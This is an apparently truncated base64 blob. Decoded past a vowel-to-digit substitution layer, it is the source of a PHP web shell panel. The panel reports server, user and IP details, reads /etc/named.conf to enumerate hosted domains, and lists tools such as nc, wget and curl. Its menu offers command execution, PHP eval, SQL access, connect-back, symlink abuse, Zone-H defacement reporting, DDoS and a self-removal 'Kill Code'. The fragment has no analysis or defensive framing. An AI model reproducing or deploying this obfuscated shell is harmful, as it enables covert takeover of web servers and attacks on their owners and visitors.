DU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaHUzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZDNsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNWxzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxYmw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoN